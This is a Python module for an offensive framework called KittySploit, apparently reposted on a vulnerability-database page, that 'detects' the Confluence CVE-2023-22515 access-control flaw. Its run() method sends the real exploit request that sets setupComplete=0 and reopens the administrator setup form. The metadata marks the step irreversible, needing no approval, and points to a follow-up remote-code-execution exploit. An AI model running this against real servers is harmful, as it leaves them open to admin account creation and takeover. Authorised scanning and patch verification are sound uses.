Atlassian Confluence CVE-2023-22515 Detection
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Atlassian Confluence CVE-2023-22515 (broken access control / setup reset) detection."""
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Atlassian Confluence CVE-2023-22515 Detection',
'description': (
'Detects CVE-2023-22515 by verifying that setupComplete can be toggled '
'to re-expose the administrator setup form (no account creation).'
),
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': [
'web', 'scanner', 'cve', 'cve2023', 'confluence', 'atlassian',
'auth-bypass', 'kev', 'vkev', 'vuln', 'intrusive',
],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 3,
'reversible': False,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.5,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'admin_surface', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': [
'exploits/multi/http/confluence_cve_2023_22515_rce',
],
},
},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2023-22515',
'https://confluence.atlassian.com/security/cve-2023-22515-privilege-escalation-vulnerability-in-confluence-data-center-and-server-1295682276.html',
],
'cve': 'CVE-2023-22515',
}
def run(self):
setup_path = '/setup/setupadministrator-start.action'
r1 = self.http_request(method='GET', path=setup_path, allow_redirects=False)
if not r1:
return False
body1 = r1.text or ''
if 'Setup is already complete' not in body1:
return False
toggle = (
'/server-info.action'
'?bootstrapStatusProvider.applicationConfig.setupComplete=0'
)
r2 = self.http_request(method='GET', path=toggle, allow_redirects=False)
if not r2:
return False
r3 = self.http_request(method='GET', path=setup_path, allow_redirects=False)
if not r3:
return False
body3 = r3.text or ''
marker = 'Please configure the system administrator account for this Confluence installation'
if marker not in body3:
return False
self.set_info(
severity='critical',
reason='Confluence CVE-2023-22515 setupComplete toggle exposed admin setup',
path=setup_path,
evidence='setup form reopened after setupComplete=0',
)
return True
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04 Sep 2026 06:36Current
8.8High risk
Vulners AI Score8.8
CVSS 3.19.8
CVSS 310
EPSS0.99223
SSVC